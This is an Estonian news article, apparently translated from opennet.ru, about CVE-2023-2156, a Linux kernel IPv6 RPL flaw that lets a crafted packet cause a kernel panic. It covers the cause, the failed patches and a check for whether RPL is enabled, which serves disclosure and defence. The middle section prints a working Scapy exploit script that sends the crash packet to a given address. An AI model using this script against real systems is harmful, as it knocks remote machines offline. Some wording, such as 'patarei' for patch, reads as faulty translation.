0-päeva haavatavus Linuxi IPv6-stekis, mis võimaldab kaugelt tuua süsteemijärje kokkuvarisemise.

Avaldatud on teave parandamata (0-päev) haavatavuse (CVE-2023-2156) kohta Linuxi tuumas, mis võimaldab süsteemi töö lõpetada, saates spetsiaalselt vormindatud IPv6 pakette (surmapakett). Probleem avaldub ainult siis, kui on sisse lülitatud RPL (Routing Protocol for Low-Power and Lossy Networks) protokolli tugi, mis on jaotustes vaikimisi välja lülitatud ja mida kasutatakse peamiselt seadmetes, mis töötavad juhtmevabades võrkudes, kus pakettide kadu on suur.

Haavatavus on tingitud väliste andmete vale käsitlemise tõttu RPL protokolli parsimise koodis, mis viib assert-tõrke toimumiseni ja tuuma paanikasse. Kui k_buff (Socket Buffer) struktuuris, mis sisaldab IPv6 RPL paketi pealkirja parsingu tulemusena saadud andmeid, on CmprI väli seadistatud väärtuseks 15, Segleft 1-ks ja CmprE 0-ks, siis 48-baidine aadresside vektor avatakse 528 baitiks, mis kutsub esile olukorra, kus eraldatud mälu bufferi jaoks ei ole piisavalt. Sellisel juhul mängib skb_push funktsioon, mida kasutatakse andmete struktuuri paigutamiseks, andmete suuruse ja bufferi mittesobivuse kontrollimise, genereerides paanikat, et vältida kirjutamist bufferi piiridest välja.

Näide eksploitist: # Kasutame Scapy't paketi loomisel from scapy.all import * import socket # Kasuta IPv6 oma LAN liideselt DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Me kasutame socket'e paketi saatmiseks sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Koosta pakett # Tüüp = 3 muudab selle RPL-paketiks # Aadressid sisaldavad 3 aadressi, kuid kuna CmprI on 15, # iga oktet esimesest kahest aadressist käsitletakse kompressitud aadressina # Segleft = 1 aktiveerib paisumise # viimane_entries = 0xf0 seades CmprI 15-ks ja CmprE 0-ks p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=["a8::", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Saada see kuri pakett sockfd.sendto(bytes(p), (DST_ADDR, 0))

Huvitav on see, et tuuma arendajaid teavitati haavatavusest juba 2022. aasta jaanuaris ning viimase 15 kuu jooksul on kolm korda püüdnud probleemile lahendust leida, andes välja plaastrid 2022. aasta septembris, oktoobris ja 2023. aasta aprillis, kuid igal korral osutusid parandused ebapiisavaks ja haavatavust õnnestus uuesti paljastada. Lõpuks võttis ZDI projekt, mis koordineeris haavatavuse likvideerimist, vastu otsuse avaldada haavatavuse üksikasjad, ootamata töötava paranduse ilmumist tuumas.

Seega jääb haavatavus endiselt lahendamata. Sealhulgas on ebaefektiivne patarei, mis on lisatud versiooni 6.4-rc2 tuuma. Kasutajatele soovitatakse kontrollida, et nende süsteemides ei kasutataks RPL-protokolli, mida saab teha käsuga sysctl -a | grep -i rpl_seg_enabled.

Allikas: opennet.ru